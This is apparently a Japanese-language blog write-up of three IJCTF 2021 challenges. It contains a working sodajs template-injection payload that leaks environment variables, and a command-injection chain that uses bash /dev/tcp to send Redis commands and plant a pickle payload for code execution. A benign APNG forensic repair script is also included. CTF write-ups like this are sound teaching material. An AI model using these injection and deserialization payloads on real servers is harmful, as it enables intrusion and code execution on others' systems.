st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

IJCTF 2021 writeup

7/24 - 7/25という日程で開催された。zer0ptsで参加して1位。

[Web 884] SodaFactory (19 solves)

次のようなソースコードが与えられる。/makeSoda にSSTIがあるが、sodajsという聞き慣れないテンプレートエンジンが使われている。

const express = require('express')
const soda = require('sodajs/node');

const app = express()
app.use(express.static('public'))
app.use(express.urlencoded({
  extended: true
}))

var images = {
  coke:"https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg",
  pepsi:"https://static.winc.com.au/pi/70/0f795e8e7cbb8d4c874032865e2c8a246d6416-155505/lgsq.jpg",
  fanta:"https://cdn.shopify.com/s/files/1/2070/6751/products/Fanta.jpg?v=1545098502",
}

app.post('/makeSoda', (req, res) => {
  var {name, brand} = req.body;
  img = images[brand];
  res.send(soda(`
    <title>${name}</title>
    <img src='${img}' alt='${name}'>
  `,{}))
})

app.listen(process.env.PORT,'0.0.0.0', () => {
  console.log(`Listening`)
})

Node.jsなので "abc"["constructor"]["constructor"] にアクセスすれば eval 的なことができるんじゃないかな~と思って試したらいけた。

$ curl -g 'http://34.126.213.161:5553/makeSoda' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name={{"abc"["constructor"]["constructor"]("return process.env")()}}&brand=coke'

    <title>{
  "NODE_VERSION": "12.18.1",
  "HOSTNAME": "07aa9bddbe87",
  "YARN_VERSION": "1.22.4",
  "PORT": "3000",
  "HOME": "/root",
  "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "PWD": "/app",
  "FLAG": "IJCTF{Y00_maK3_g00D_50DA_MA73}"
}</title>
    <img src="https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg" alt="[object Object]" />

[Web 999] Jinx (3 solves)

nginx-lua-moduleを使ったスクリプトである /cgi/ping にOSコマンドインジェクションがある。/cgi/ping?ip=;iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) が返ってくる。

local hex_to_char = function(x)
  return string.char(tonumber(x, 16))
end

local unescape = function(url)
  return url:gsub("%%(%x%x)", hex_to_char)
end

local ping = function(ip)
  local cmd = "ping -c1 "..ip
  local p = io.popen(cmd, 'r')
  local s = assert(p:read('*a'))
  p:close()
  return s
end

local ip =  unescape(ngx.var.arg_ip)

ngx.say(ping(ip))

このOSコマンドインジェクションから他のサーバにSSRFができる。cdnapp.py ではRedisをキャッシュのために使っているから、SSRFでRedisサーバにペイロードを仕込んでやればRCEに持ち込める。というのも、Flask-CachingはデフォルトではpickleでシリアライズしたデータをRedisサーバに保存しているから。

from flask import Flask, request
from flask_caching import Cache
from redis import Redis

app = Flask(__name__)

cache = Cache(app, config={'CACHE_TYPE': 'redis','CACHE_REDIS_HOST':'redis'})

redis = Redis('redis')

...

@app.route('/uploads/<path:name>',methods=["GET"])
@cache.cached(timeout=30)
def uploads(name):
    d = redis.get(f"uploads_{name}")
    if d != None:
        return d
    else:
        return "Nothing with the name " + name

EVAL "redis.call('set', 'flask_cache_view//uploads/aikatsu', '!(pickle payload)')" 相当のコマンドをRedisサーバに対して送った上で /uploads/aikatsu にアクセスすれば、仕込んだペイロードが実行される。flag というファイルを読み込むようにしてやればフラグが得られる。

$ curl 'http://34.126.213.161:5551/cgi/ping?ip=;bash%20-c%20"exec%203<>/dev/tcp/redis/6379;echo%20-en%20\"PING\r\nEVAL redis.call(string.char(115,101,116),string.char(102,108,97,115,107,95,99,97,99,104,101,95,118,105,101,119,47,47,117,112,108,111,97,100,115,47,97,105,107,97,116,115,117),string.char(33,99,95,95,98,117,105,108,116,105,110,95,95,10,101,118,97,108,10,40,83,39,111,112,101,110,40,34,102,108,97,103,34,41,46,114,101,97,100,40,41,39,10,116,82,46)) 0\r\nQUIT\r\n\"%20>%263;%20sleep%200.5;%20cat%20<%263"%202>%261'
+PONG
$-1
+OK
$ curl 'http://34.126.213.161:5551/uploads/aikatsu' --output -
IJCTF{p1ckl3+4+p1VOt}

[Forensic 999] Black Letter (3 solves)

ぶっ壊れたPNGファイルが渡される。acTL とか fdAT といったチャンク名が見えるからAPNGと判断できる。バイナリエディタで各チャンクについて見ていくとチャンクサイズとCRCがすべて0になっているし、fcTLfdAT チャンクを見ていくとシーケンス番号からチャンクの順番がバラバラになっていることがわかる。

まず次のコードでチャンクサイズとCRCを直す。

import binascii
import struct
import re

def pack(x):
  return struct.pack('>I', x)

with open('message.png', 'rb') as f:
  data = f.read()

chunk_names = ['IHDR', 'acTL', 'tRNS', 'fcTL', 'fdAT', 'IEND']
pattern = re.compile('|'.join(chunk_names).encode())

res = data[:]
it = pattern.finditer(data)
curr = next(it)
for next_ in it:
  size = next_.start() - curr.start() - 12
  res = res[:curr.start() - 4] + pack(size) + res[curr.start():]

  chunk_name = curr.group(0)
  crc = binascii.crc32(data[curr.start():next_.start() - 8])
  res = res[:next_.start() - 8] + pack(crc) + res[next_.start() - 4:]

  curr = next_

res = res[:-4] + b'\xae\x42\x60\x82'

with open('result.png', 'wb') as f:
  f.write(res)

シーケンス番号をもとにチャンクを正しい順番に並べ替えた上で、各フレームを横に結合して1枚の画像として描画するようなAPNGビュアーを作る。

import io
import struct
import re
import zlib
from PIL import Image

def u8(x):
  return struct.unpack('>B', x)[0]

def u32(x):
  return struct.unpack('>I', x)[0]

def render(data, w, h):
  stream = io.BytesIO(data)
  im = Image.new('L', (w, h))
  pix = im.load()
  for y in range(h):
    mode = stream.read(1)
    for x in range(w):
      pix[x, y] = u8(stream.read(1)),
  return im

with open('result.png', 'rb') as f:
  data = f.read()

chunk_names = ['IDAT', 'fdAT', 'fcTL']
pattern = re.compile('|'.join(chunk_names).encode())

frames = []
it = pattern.finditer(data)
for curr in it:
  chunk_name = curr.group(0).decode()
  size = u32(data[curr.start()-4:curr.start()])
  tmp = data[curr.end():curr.end()+size]

  if chunk_name == 'fcTL':
    seqnum = u32(tmp[:4])
    width, height = u32(tmp[4:8]), u32(tmp[8:12])
    x_off, y_off = u32(tmp[12:16]), u32(tmp[16:20])
    dispose_op = u8(tmp[24:25])
    blend_op = u8(tmp[25:])
  elif chunk_name == 'IDAT':
    seqnum = 0
    tmp = zlib.decompress(tmp)
    im = render(tmp, 25, 25)
  elif chunk_name == 'fdAT':
    seqnum = u32(tmp[:4])
    tmp = zlib.decompress(tmp[4:])
    tmp_im = render(tmp, width, height)
    frames.append({
      'seqnum': seqnum,
      'im': tmp_im,
      'x_off': x_off,
      'y_off': y_off,
      'dispose_op': dispose_op,
      'blend_op': blend_op
    })

frames.sort(key=lambda x: x['seqnum'])
res = Image.new('L', (25 * len(frames), 25))
for i, frame in enumerate(frames):
  if frame['dispose_op'] == 1: # APNG_DISPOSE_OP_BACKGROUND
    im = Image.new('L', (25, 25))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    tmp = im.copy()
  im.paste(frame['im'], (frame['x_off'], frame['y_off']))
  res.paste(im, (25 * i, 0))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    im = tmp

res.show()
res.save('res2.png')

実行するとフラグが得られた。

f:id:st98:20210725165753p:plain

IJCTF{d34f6429957e3ec205d4f140c9b34a33}